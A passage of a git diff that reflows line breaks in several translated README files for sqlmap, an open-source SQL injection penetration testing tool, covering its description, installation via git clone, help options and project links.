`thirdparty/wininetpton/`. - Copyleft 2014, Ryan Vennell. + Copyleft 2014, Ryan Vennell. diff --git a/doc/translations/README-bg-BG.md b/doc/translations/README-bg-BG.md index cc10870af..a5d316696 100644 --- a/doc/translations/README-bg-BG.md +++ b/doc/translations/README-bg-BG.md @@ -2,25 +2,32 @@ [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap e инструмент за тестване и проникване, с отворен код, който автоматизира процеса на откриване и използване на недостатъците на SQL база данните чрез SQL инжекция, която ги взима от сървъра. Снабден е с мощен детектор, множество специални функции за най-добрия тестер и широк спектър от функции, които могат да се използват за множество цели - извличане на данни от базата данни, достъп до основната файлова система и изпълняване на команди на операционната система. +sqlmap e инструмент за тестване и проникване, с отворен код, който автоматизира процеса на откриване и използване на +недостатъците на SQL база данните чрез SQL инжекция, която ги взима от сървъра. Снабден е с мощен детектор, множество +специални функции за най-добрия тестер и широк спектър от функции, които могат да се използват за множество цели - +извличане на данни от базата данни, достъп до основната файлова система и изпълняване на команди на операционната +система. Демо снимки ---- ![Снимка на екрана](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -Можете да посетите [колекцията от снимки на екрана](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), показващи някои функции, качени на wiki. +Можете да посетите [колекцията от снимки на екрана](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), показващи +някои функции, качени на wiki. Инсталиране ---- -Може да изтеглине най-новите tar архиви като кликнете [тук](https://github.com/sqlmapproject/sqlmap/tarball/master) или най-новите zip архиви като кликнете [тук](https://github.com/sqlmapproject/sqlmap/zipball/master). +Може да изтеглине най-новите tar архиви като кликнете [тук](https://github.com/sqlmapproject/sqlmap/tarball/master) или +най-новите zip архиви като кликнете [тук](https://github.com/sqlmapproject/sqlmap/zipball/master). За предпочитане е да изтеглите sqlmap като клонирате [Git](https://github.com/sqlmapproject/sqlmap) хранилището: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap работи самостоятелно с [Python](https://www.python.org/download/) версия **2.6**, **2.7** и **3.x** на всички платформи. +sqlmap работи самостоятелно с [Python](https://www.python.org/download/) версия **2.6**, **2.7** и **3.x** на всички +платформи. Използване ---- @@ -34,13 +41,15 @@ sqlmap работи самостоятелно с [Python](https://www.python.or python sqlmap.py -hh Може да намерите пример за използване на sqlmap [тук](https://asciinema.org/a/46601). -За да разберете възможностите на sqlmap, списък на поддържаните функции и описание на всички опции, заедно с примери, се препоръчва да се разгледа [упътването](https://github.com/sqlmapproject/sqlmap/wiki/Usage). +За да разберете възможностите на sqlmap, списък на поддържаните функции и описание на всички опции, заедно с примери, се +препоръчва да се разгледа [упътването](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Връзки ---- * Начална страница: https://sqlmap.org -* Изтегляне: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Изтегляне: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) + or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS емисия: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Проследяване на проблеми и въпроси: https://github.com/sqlmapproject/sqlmap/issues * Упътване: https://github.com/sqlmapproject/sqlmap/wiki diff --git a/doc/translations/README-de-GER.md b/doc/translations/README-de-GER.md index b279c87ab..c6ab0e7cf 100644 --- a/doc/translations/README-de-GER.md +++ b/doc/translations/README-de-GER.md @@ -2,25 +2,33 @@ [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap ist ein quelloffenes Penetrationstest Werkzeug, das die Entdeckung, Ausnutzung und Übernahme von SQL injection Schwachstellen automatisiert. Es kommt mit einer mächtigen Erkennungs-Engine, vielen Nischenfunktionen für den ultimativen Penetrationstester und einem breiten Spektrum an Funktionen von Datenbankerkennung, abrufen von Daten aus der Datenbank, zugreifen auf das unterliegende Dateisystem bis hin zur Befehlsausführung auf dem Betriebssystem mit Hilfe von out-of-band Verbindungen. +sqlmap ist ein quelloffenes Penetrationstest Werkzeug, das die Entdeckung, Ausnutzung und Übernahme von SQL injection +Schwachstellen automatisiert. Es kommt mit einer mächtigen Erkennungs-Engine, vielen Nischenfunktionen für den +ultimativen Penetrationstester und einem breiten Spektrum an Funktionen von Datenbankerkennung, abrufen von Daten aus +der Datenbank, zugreifen auf das unterliegende Dateisystem bis hin zur Befehlsausführung auf dem Betriebssystem mit +Hilfe von out-of-band Verbindungen. Screenshots --- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -Du kannst eine [Sammlung von Screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), die einige der Funktionen demonstrieren, auf dem Wiki einsehen. +Du kannst eine [Sammlung von Screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), die einige der +Funktionen demonstrieren, auf dem Wiki einsehen. Installation --- -[Hier](https://github.com/sqlmapproject/sqlmap/tarball/master) kannst du das neueste TAR-Archiv herunterladen und [hier](https://github.com/sqlmapproject/sqlmap/zipball/master) das neueste ZIP-Archiv. +[Hier](https://github.com/sqlmapproject/sqlmap/tarball/master) kannst du das neueste TAR-Archiv herunterladen +und [hier](https://github.com/sqlmapproject/sqlmap/zipball/master) das neueste ZIP-Archiv. -Vorzugsweise kannst du sqlmap herunterladen, indem du das [GIT](https://github.com/sqlmapproject/sqlmap) Repository klonst: +Vorzugsweise kannst du sqlmap herunterladen, indem du das [GIT](https://github.com/sqlmapproject/sqlmap) Repository +klonst: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev - -sqlmap funktioniert sofort mit den [Python](https://www.python.org/download/) Versionen 2.6, 2.7 und 3.x auf jeder Plattform. + +sqlmap funktioniert sofort mit den [Python](https://www.python.org/download/) Versionen 2.6, 2.7 und 3.x auf jeder +Plattform. Benutzung --- @@ -28,18 +36,21 @@ Benutzung Um eine Liste aller grundsätzlichen Optionen und Switches zu bekommen, nutze diesen Befehl: python sqlmap.py -h - + Um eine Liste alles Optionen und Switches zu bekommen, nutze diesen Befehl: python sqlmap.py -hh - -Ein Probelauf ist [hier](https://asciinema.org/a/46601) zu finden. Um einen Überblick über sqlmap's Fähigkeiten, unterstütze Funktionen und eine Erklärung aller Optionen und Switches, zusammen mit Beispielen, zu erhalten, wird das [Benutzerhandbuch](https://github.com/sqlmapproject/sqlmap/wiki/Usage) empfohlen. + +Ein Probelauf ist [hier](https://asciinema.org/a/46601) zu finden. Um einen Überblick über sqlmap's Fähigkeiten, +unterstütze Funktionen und eine Erklärung aller Optionen und Switches, zusammen mit Beispielen, zu erhalten, wird +das [Benutzerhandbuch](https://github.com/sqlmapproject/sqlmap/wiki/Usage) empfohlen. Links --- * Webseite: https://sqlmap.org -* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) + or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Problemverfolgung: https://github.com/sqlmapproject/sqlmap/issues * Benutzerhandbuch: https://github.com/sqlmapproject/sqlmap/wiki diff --git a/doc/translations/README-es-MX.md b/doc/translations/README-es-MX.md index a78dee2d4..bce95370e 100644 --- a/doc/translations/README-es-MX.md +++ b/doc/translations/README-es-MX.md @@ -2,29 +2,38 @@ [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band". +sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso +de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de +datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y +una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como " +fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos +subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como " +Out-of-band". Capturas de Pantalla --- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -Visita la [colección de capturas de pantalla](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demuestra algunas de las características en la documentación(wiki). +Visita la [colección de capturas de pantalla](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demuestra +algunas de las características en la documentación(wiki). Instalación --- -Se puede descargar el "tarball" más actual haciendo clic [aquí](https://github.com/sqlmapproject/sqlmap/tarball/master) o el "zipball" [aquí](https://github.com/sqlmapproject/sqlmap/zipball/master). +Se puede descargar el "tarball" más actual haciendo clic [aquí](https://github.com/sqlmapproject/sqlmap/tarball/master) +o el "zipball" [aquí](https://github.com/sqlmapproject/sqlmap/zipball/master). Preferentemente, se puede descargar sqlmap clonando el repositorio [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap funciona con las siguientes versiones de [Python](https://www.python.org/download/) **2.6**, **2.7** y **3.x** en cualquier plataforma. +sqlmap funciona con las siguientes versiones de [Python](https://www.python.org/download/) **2.6**, **2.7** y **3.x** en +cualquier plataforma. Uso --- -Para obtener una lista de opciones básicas: +Para obtener una lista de opciones básicas: python sqlmap.py -h @@ -33,13 +42,16 @@ Para obtener una lista de todas las opciones: python sqlmap.py -hh Se puede encontrar una muestra de su funcionamiento [aquí](https://asciinema.org/a/46601). -Para obtener una visión general de las capacidades de sqlmap, así como un listado funciones soportadas y descripción de todas las opciones y modificadores, junto con ejemplos, se recomienda consultar el [manual de usuario](https://github.com/sqlmapproject/sqlmap/wiki/Usage). +Para obtener una visión general de las capacidades de sqlmap, así como un listado funciones soportadas y descripción de +todas las opciones y modificadores, junto con ejemplos, se recomienda consultar +el [manual de usuario](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Enlaces --- -* Página principal: https://sqlmap.org -* Descargar: [. tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) o [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Página principal: https://sqlmap.org +* Descargar: [. tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) + o [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Fuente de Cambios "Commit RSS feed": https://github.com/sqlmapproject/sqlmap/commits/master.atom * Seguimiento de problemas "Issue tracker": https://github.com/sqlmapproject/sqlmap/issues * Manual de usuario: https://github.com/sqlmapproject/sqlmap/wiki diff --git a/doc/translations/README-fa-IR.md b/doc/translations/README-fa-IR.md index baff855a9..5e7f824cb 100644 --- a/doc/translations/README-fa-IR.md +++ b/doc/translations/README-fa-IR.md @@ -7,7 +7,10 @@ -برنامه `sqlmap`، یک برنامه‌ی تست نفوذ منبع باز است که فرآیند تشخیص و اکسپلویت پایگاه های داده با مشکل امنیتی SQL Injection را بطور خودکار انجام می دهد. این برنامه مجهز به موتور تشخیص قدرتمندی می‌باشد. همچنین داری طیف گسترده‌ای از اسکریپت ها می‌باشد که برای متخصصان تست نفوذ کار کردن با بانک اطلاعاتی را راحتر می‌کند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق ارتباط Out Of Band درسیستم عامل را امکان پذیر می‌کند. +برنامه `sqlmap`، یک برنامه‌ی تست نفوذ منبع باز است که فرآیند تشخیص و اکسپلویت پایگاه های داده با مشکل امنیتی SQL +Injection را بطور خودکار انجام می دهد. این برنامه مجهز به موتور تشخیص قدرتمندی می‌باشد. همچنین داری طیف گسترده‌ای از +اسکریپت ها می‌باشد که برای متخصصان تست نفوذ کار کردن با بانک اطلاعاتی را راحتر می‌کند. از جمع اوری اطلاعات درباره بانک +داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق ارتباط Out Of Band درسیستم عامل را امکان پذیر می‌کند. تصویر محیط ابزار @@ -23,13 +26,16 @@
-برای نمایش [مجموعه ای از اسکریپت‌ها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) می‌توانید از دانشنامه دیدن کنید. +برای نمایش [مجموعه ای از اسکریپت‌ها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) می‌توانید از دانشنامه +دیدن کنید. نصب ---- -برای دانلود اخرین نسخه tarball، با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام دهید. +برای دانلود اخرین نسخه tarball، با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود +اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام +دهید. نحوه استفاده @@ -42,39 +48,35 @@
- ``` python sqlmap.py -h ``` - - -
- - + + برای دریافت لیست تمامی ارگومان‌ها می‌توانید از دستور زیر استفاده کنید:
- ``` python sqlmap.py -hh ``` - - -
- -برای اجرای سریع و ساده ابزار می توانید از [اینجا](https://asciinema.org/a/46601) استفاده کنید. برای دریافت اطلاعات بیشتر در رابطه با قابلیت ها ، امکانات قابل پشتیبانی و لیست کامل امکانات و دستورات همراه با مثال می‌ توانید به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید. +
+ + +برای اجرای سریع و ساده ابزار می توانید از [اینجا](https://asciinema.org/a/46601) استفاده کنید. برای دریافت اطلاعات بیشتر +در رابطه با قابلیت ها ، امکانات قابل پشتیبانی و لیست کامل امکانات و دستورات همراه با مثال می‌ توانید +به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید. لینک‌ها ---- - * خانه: https://sqlmap.org -* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) یا [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) + یا [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom * پیگیری مشکلات: https://github.com/sqlmapproject/sqlmap/issues * راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index c9eb5967f..38c370139 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -2,24 +2,32 @@ [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -**sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation. +**sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d' +exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose +d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d' +intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet +aussi l'exécution des commandes sur le système d'exploitation. ---- ![Les Captures d'écran](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -Les captures d'écran disponible [ici](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) démontrent des fonctionnalités de __sqlmap__. +Les captures d'écran disponible [ici](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) démontrent des +fonctionnalités de __sqlmap__. Installation ---- -Vous pouvez télécharger le fichier "tarball" le plus récent en cliquant [ici](https://github.com/sqlmapproject/sqlmap/tarball/master). Vous pouvez aussi télécharger l'archive zip la plus récente [ici](https://github.com/sqlmapproject/sqlmap/zipball/master). +Vous pouvez télécharger le fichier "tarball" le plus récent en +cliquant [ici](https://github.com/sqlmapproject/sqlmap/tarball/master). Vous pouvez aussi télécharger l'archive zip la +plus récente [ici](https://github.com/sqlmapproject/sqlmap/zipball/master). De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6**, **2.7** et **3.x** de [Python](https://www.python.org/download/) +sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6**, **2.7** et **3.x** +de [Python](https://www.python.org/download/) Utilisation ---- @@ -33,13 +41,16 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta python sqlmap.py -hh Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples. -Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage). +Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de +toutes les options, ainsi que des exemples, nous vous recommandons de +consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Liens ---- * Page d'acceuil: https://sqlmap.org -* Téléchargement: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Téléchargement: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) + ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Suivi des issues: https://github.com/sqlmapproject/sqlmap/issues * Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index b33b622b5..e59f8ba7e 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -2,25 +2,34 @@ [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο λειτουργικό μέσω εκτός ζώνης συνδέσεων. +Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection +σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον +απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, +κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο +λειτουργικό μέσω εκτός ζώνης συνδέσεων. Εικόνες ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -Μπορείτε να επισκεφτείτε τη [συλλογή από εικόνες](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) που επιδεικνύουν κάποια από τα χαρακτηριστικά. +Μπορείτε να επισκεφτείτε τη [συλλογή από εικόνες](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) που +επιδεικνύουν κάποια από τα χαρακτηριστικά. Εγκατάσταση ---- -Έχετε τη δυνατότητα να κατεβάσετε την τελευταία tarball πατώντας [εδώ](https://github.com/sqlmapproject/sqlmap/tarball/master) ή την τελευταία zipball πατώντας [εδώ](https://github.com/sqlmapproject/sqlmap/zipball/master). +Έχετε τη δυνατότητα να κατεβάσετε την τελευταία tarball +πατώντας [εδώ](https://github.com/sqlmapproject/sqlmap/tarball/master) ή την τελευταία zipball +πατώντας [εδώ](https://github.com/sqlmapproject/sqlmap/zipball/master). -Κατά προτίμηση, μπορείτε να κατεβάσετε το sqlmap κάνοντας κλώνο το [Git](https://github.com/sqlmapproject/sqlmap) αποθετήριο: +Κατά προτίμηση, μπορείτε να κατεβάσετε το sqlmap κάνοντας κλώνο το [Git](https://github.com/sqlmapproject/sqlmap) +αποθετήριο: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](https://www.python.org/download/) έκδοσης **2.6**, **2.7** και **3.x** σε όποια πλατφόρμα. +Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](https://www.python.org/download/) έκδοσης **2.6**, **2.7** και +**3.x** σε όποια πλατφόρμα. Χρήση ---- @@ -34,13 +43,16 @@ python sqlmap.py -hh Μπορείτε να δείτε ένα δείγμα λειτουργίας του προγράμματος [εδώ](https://asciinema.org/a/46601). -Για μια γενικότερη άποψη των δυνατοτήτων του sqlmap, μια λίστα των υποστηριζόμενων χαρακτηριστικών και περιγραφή για όλες τις επιλογές, μαζί με παραδείγματα, καλείστε να συμβουλευτείτε το [εγχειρίδιο χρήστη](https://github.com/sqlmapproject/sqlmap/wiki/Usage). +Για μια γενικότερη άποψη των δυνατοτήτων του sqlmap, μια λίστα των υποστηριζόμενων χαρακτηριστικών και περιγραφή για +όλες τις επιλογές, μαζί με παραδείγματα, καλείστε να συμβουλευτείτε +το [εγχειρίδιο χρήστη](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Σύνδεσμοι ---- * Αρχική σελίδα: https://sqlmap.org -* Λήψεις: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ή [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Λήψεις: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) + ή [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Προβλήματα: https://github.com/sqlmapproject/sqlmap/issues * Εγχειρίδιο Χρήστη: https://github.com/sqlmapproject/sqlmap/wiki diff --git a/doc/translations/README-hr-HR.md b/doc/translations/README-hr-HR.md index c80e0ce78..1246258dc 100644 --- a/doc/translations/README-hr-HR.md +++ b/doc/translations/README-hr-HR.md @@ -2,25 +2,32 @@ [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom sustavu korištenjem tzv. "out-of-band" veza. +sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih +propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom +korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, +preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom +sustavu korištenjem tzv. "out-of-band" veza. Slike zaslona ---- ![Slika zaslona](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -Možete posjetiti [kolekciju slika zaslona](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) gdje se demonstriraju neke od značajki na wiki stranicama. +Možete posjetiti [kolekciju slika zaslona](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) gdje se +demonstriraju neke od značajki na wiki stranicama. Instalacija ---- -Možete preuzeti zadnji tarball klikom [ovdje](https://github.com/sqlmapproject/sqlmap/tarball/master) ili zadnji zipball klikom [ovdje](https://github.com/sqlmapproject/sqlmap/zipball/master). +Možete preuzeti zadnji tarball klikom [ovdje](https://github.com/sqlmapproject/sqlmap/tarball/master) ili zadnji zipball +klikom [ovdje](https://github.com/sqlmapproject/sqlmap/zipball/master). Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproject/sqlmap) repozitorija: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap radi bez posebnih zahtjeva korištenjem [Python](https://www.python.org/download/) verzije **2.6**, **2.7** i/ili **3.x** na bilo kojoj platformi. +sqlmap radi bez posebnih zahtjeva korištenjem [Python](https://www.python.org/download/) verzije **2.6**, **2.7** i/ili +**3.x** na bilo kojoj platformi. Korištenje ---- @@ -34,13 +41,15 @@ Kako biste dobili listu svih opcija i prekidača koristite: python sqlmap.py -hh Možete pronaći primjer izvršavanja [ovdje](https://asciinema.org/a/46601). -Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih značajki te opis svih opcija i prekidača, zajedno s primjerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki/Usage). +Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih značajki te opis svih opcija i prekidača, zajedno s +primjerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Poveznice ---- * Početna stranica: https://sqlmap.org -* Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) + ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed promjena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Prijava problema: https://github.com/sqlmapproject/sqlmap/issues * Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md index 02b7f3789..27193efc7 100644 --- a/doc/translations/README-id-ID.md +++ b/doc/translations/README-id-ID.md @@ -2,25 +2,32 @@ 